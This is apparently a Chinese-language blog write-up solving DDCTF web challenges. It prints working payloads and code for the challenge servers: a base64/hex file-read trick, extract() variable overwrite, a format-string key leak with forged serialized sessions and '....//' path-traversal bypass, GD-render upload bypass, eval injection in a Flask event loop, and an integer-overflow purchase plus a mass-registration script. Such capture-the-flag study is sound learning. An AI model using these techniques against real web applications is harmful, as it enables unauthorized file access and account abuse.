Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

DDCTF WEB部分wp

前言

很久没打比赛了,上次被学长带着打了西湖论剑,发现他们的技术是真的牛逼,随随便便躺着就进了前30,不禁感慨实力差距太大了,为此呢,用DDCTF来练练手,借此记录一下DDCTF的一些做题思路以及所学的骚套路。

滴~

打开题目,首先发现url中的jpg的值有问题,经过两次base64以及一次base16解出就是flag.jpg。
那既然是这样,我们是不是可以尝试读index.php呢?编码之后输入到jpg参数后面读取index.php。

果然,解码之后得到index.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

提示了csdn的某篇文章,里面得到了一个文件—practice.txt.swp,读取之后发现提示了f1ag!ddctf.php,结合index.php我们可以通过config被!替换来绕过过滤,去读取该文件,文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

extract函数可导致变量覆盖,我们只要通过覆盖$k,让file_get_contents()读取不到东西返回flase,再传入uid为空,导致弱类型比较就能读取flag了,payload如下

1
http://117.51.150.246/f1ag!ddctf.php?uid=&k=xsadasdad

WEB 签到题

首先打开界面,审计源码可以发现/js/index.js这个关键文件,访问。

可以看到我们需要爆破header中的didictf_username的值,通过爆破发现为admin。接着有个提示,提示我们访问/app/fL2XID2i0Cdh.php,这个页面给了两个文件的源码,我们可以进行审计。这里就按照解题思路讲解了。
首先我们可以得知../config/flag.txt中有flag。

接着可以看到我们可以通过反序列化漏洞来读取文件。

接着找找哪里有unserialize()函数可以利用。

可以看到我们通过传入session是可以进行反序列化漏洞利用的。但是有以下两个问题。
第一,我们需要绕过 $hash !== md5($this->eancrykey.$session 的验证,那也就是说我们需要得知 $this->eancrykey 的值。
这里利用到了格式化字符串的漏洞,利用的代码如下:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

foreach循环两次,把数组中的值传入到前面的$data中,试想如果我们构造$nickname为%s,那第一次的$data是不是就变成了 Welcome my friend %s ,那第二次循环的时候,$this->eancrykey的值就传入到了$data里面,成功读取到了$this->eancrykey。

第二个问题就是$path存在过滤,过滤代码如下

1
2
3
4
5
6
 private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

../可以通过….//来绕过。修改Application中的$path为….//config/flag.txt,按照如下生成payload。

1
2
3
4
5
6
$a = new Application();
$b = serialize($a);
$eancrykey = "EzblrbNS";
$hash = md5($eancrykey.$b);
$session = $b.$hash;
var_dump($session)."<br>";

通过cookie发送构造的payload,得到flag。

Upload-IMG

上传图片的时候,要求上传png/jpg/gif格式。以及源代码中需要有phpinfo()字符串。
通过上传一张普通图片,再下载下来可以发现一个特点。

可以得知这是需要我们绕过gd库渲染。查询资料得知有如下几种方法

1
2
比对上传前后两次的二进制文件,找到相同的地方进行替换。
使用jpg_payload.php

上传图片,把经过渲染的图片下载下来,通过比对hex找到相同点。

接着将phpinfo()替换进去

接着就能拿到flag了。

homebrew event loop

这道题目思路挺好,而且借着这道题目学了一些flask的语法,对flask有了一定了解。
题目给了源码,需要的可以下载。serve.py
我会按照正常审计代码的思路进行一步一步讲解。毕竟我也是刚刚学的。
首先是关于入口的寻找。

1
2
在flask中,运行app.run()表示监听指定的端口, 对收到的request运行app生成response并返回。
运行之后哪个函数被最先调用呢?这里我理解的是@app.route()函数之后的那一个函数。app.route()函数指定初始访问的路径,并且把得到的数据进行返回,之后的第一个函数就默认为初始函数。注意,每次进行对页面进行访问,都会调用初始函数。

找到了第一个函数,那我们开始审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def entry_point():
querystring = urllib.unquote(request.query_string)
这一步是获取url中参数,request.query_string获取的是url中?之后所有的字符串。

request.event_queue = []
定义一个空数组,该数组中储存即将被执行的操作。

if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
如果url中?之后没有任何参数,或者刚刚获取的字符串不是以action开头,或者长度大于100,那么初始化querystring为action:index;False#False

if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
如果num_items不在session中,那初始化session,session字典中的num_items代表钻石的数量,points代表的是金币数量,而log目前则用不到。

trigger_event(querystring)
return execute_event_loop()

可以看到函数最后调用了其他两个函数,先跟第一个。

1
2
3
4
5
6
7
8
9
10
11
12
def trigger_event(event):
session['log'].append(event)
把刚刚传入的字符串添加到log中。注意此刻的log应该为list形式。

if len(session['log']) > 5: session['log'] = session['log'][-5:]
如果log列表中元素大于5个,那么只取最后5个。

if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
根据event的不同类型,将event添加进定义的event_queue

接着再跟第二个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
定义event的字符白名单

resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0]
提取event_queue第一个操作命令,赋给event

request.event_queue = request.event_queue[1:]
其他命令依此前进一位

if not event.startswith(('action:', 'func:')): continue
如果event不是以action或者func开头,则提取下一位的命令操作

for c in event:
if c not in valid_event_chars: break
如果event中存在字符白名单以外的字符,则直接退出

else:
is_action = event[0] == 'a'
判断event的第一个字符是否为a,并且将值储存到is_action中

action = get_mid_str(event, ':', ';')
截取event中:到;的部分字符,赋值给action

args = get_mid_str(event, action+';').split('#')
截取event中action;之后的字符并且以#进行分割,赋给args

try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
把action的值与_handler或者_function进行拼接

ret_val = event_handler(args)
调用刚刚拼接的函数,对args进行处理

except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
抛出错误时执行的操作

except Exception, e:
if resp is None: resp = ''
continue
没什么意义

if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
如果刚刚调用的函数有回显结果,那么把结果赋给resp

if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
如果无回显,页面则会显示404

session.modified = True
return resp
将最后执行的结果返回

整个网页的基本构造了解了,一些初始化定义的函数也详细分析了,现在开始粗略的流程分析,可以看到,当我们第一次访问页面的时候,querystring会被赋值为action:index;False#False,也就是说一开始会调用index_handler([False,False]),我们跟着看看这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

这个函数主要是定义初始界面,当bool_show_source为true时,代码会打开eventLoop.py,如果bool_download_source为true会将文件进行下载,而为false的话,则是会把代码回显到页面。

很明显我们第一次访问,调用的是index_handler([False,False]),所以直接跳到调用view_handler(index),我们接着跟上去看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
一开始就是通过读取session中的参数值,并且回显到页面上,接着如果args为index,则给出三个功能的链接跳转按钮,如果是shop则调用buy_handler函数,如果是reset,则对session重置,接着在最后加上返回最初界面的功能键。

这就是初始界面的由来,其他的功能我们也不完全去分析了,现在我们该对如何拿flag进行一个分析。
在源码的最开头有这样一个函数

1
2
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

经过我们对前面的分析可以知道,在通过execute_event_loop()函数调用其他函数的时候,其他函数的末尾要么是_handler要么是_function,调用FLAG()函数是不可能的,我们找找有没有其他可以得到flag的方法。
接着发现了这样一个函数

1
2
3
4
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

可以发现我们的确可以调用这个函数,也可以利用漏洞把flag值赋值到flag变量中,但是它固定回显,并不会把flag变量给输出,所以还得继续找其他的函数。

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
当我们钻石的数量大于等于5个的时候,会调用show_flag_function()函数获取通过调用FLAG()函数返回的flag值。

具体解释一下为什么这里调用了FLAG(),由于eval的缘故,虽然FLAG()被当作get_flag_function()函数的参数,但还是会先执行,返回的值再给get_flag_function()函数作为参数的值。
可以在前面trigger_event函数的定义中得知,一旦函数被执行,是会将调用结果储存到session的log中的。也就是说我们只需要满足五个钻石的条件,就可以在log中得到flag。那我们重点跟一下购买的函数。

1
2
3
4
5
6
7
8
9
10
11
12
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
购买的数量小于0会返回错误提示,先加上购买的数量,再执行consume_point_function()函数

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
该函数则是确认是否有足够的金额来购买钻石,如果不够抛出错误异常,够的话将point减去购买钻石的数量。

可以看到这是典型的先货后款的操作,如果我们在购买完5个钻石之后,在触发报错之前立马调用get_flag_handler()不就可以拿到flag了吗?那如何利用呢?
整个函数调用流程是先通过trigger_event将即将执行的函数添加到待调用函数序列中,也就是说我们先传参传入的早,函数就执行的早。
我们可以回过头看看execute_event_loop()函数中对参数的处理

1
2
3
4
5
6
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

也就是说参数是以#进行分割的,而存在的eval()函数又可以帮助我们利用#注释掉后面的东西,所以这里就达到了调用函数可控的条件,我们可以测试一下。

可以看到成功利用了,那接着我们是不是可以通过调用trigger_event()函数,先把buy和get_flag传入进去呢?即使buy函数之后的验证函数也得在get_flag之后才能执行了,构造payload:

1
?action:trigger_event%23;action:buy;10%23action:get_flag;

查看cookie中的session,进行解码就能拿到flag了。

大吉大利,今晚吃鸡~

有注册先注册,登入发现需要购买门票。我们余额只有100元,但是一张票却要2000。这里可以想到整数溢出漏洞。
首先抓包修改门票价格。通过测试发现这是32位的服务器,也就是说4294967296溢出变为0。

可以看到有订单显示了,我们试着支付看看。

可以看到我们支付成功,并且跳转到了游戏界面。界面中有一个移除对手的功能,点开发现需要得知id以及ticket。
说实话我在这里卡住了,尝试了修改json中的数据,但是最后还是自欺欺人,正确的思路应该是不断注册小号,获取id和ticket来进行移除,脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import random
import time

tmpID = "1"

tmpSession = requests.session()

registerURL = "http://117.51.147.155:5050/ctf/api/register?name=Iuhrey{name}&password=12345678aa90"
buyTicketURL = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
payTicketURL = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}"
removeRobotsURL = "http://117.51.147.155:5050/ctf/api/remove_robot?id={uid}&ticket={ticket}"

headers = {
"Cookie": "REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3"
}

def getTicket(tmpID):
tmpRegisterURL = registerURL.replace("{name}",tmpID)
tmpSession.get(tmpRegisterURL)

billID = tmpSession.get(buyTicketURL).json()["data"][0]["bill_id"]

# print(billID)

tmpPayTicketURL = payTicketURL.replace("{bill}",billID)
# print(tmpPayTicketURL)
ticketJson = tmpSession.get(tmpPayTicketURL).json()
# print(ticketJson)
ticket,uid = ticketJson["data"][0].values()

return ticket,uid

if __name__ == '__main__':
i = 1
c = 0
while(i<3 and c < 50):
name = str(random.randint(1000, 90000))
c+=1
try:
ticket,uid = getTicket(name)
# print(ticket,uid)

tmpRRURL = removeRobotsURL.replace("{uid}",str(uid)).replace("{ticket}",ticket)
RRjson = requests.get(tmpRRURL,headers=headers).json()

if(RRjson["data"]):
print("["+str(i)+"] " + str(RRjson["data"]))
print("")
i+=1
time.sleep(1)

except:
pass
本站总访问量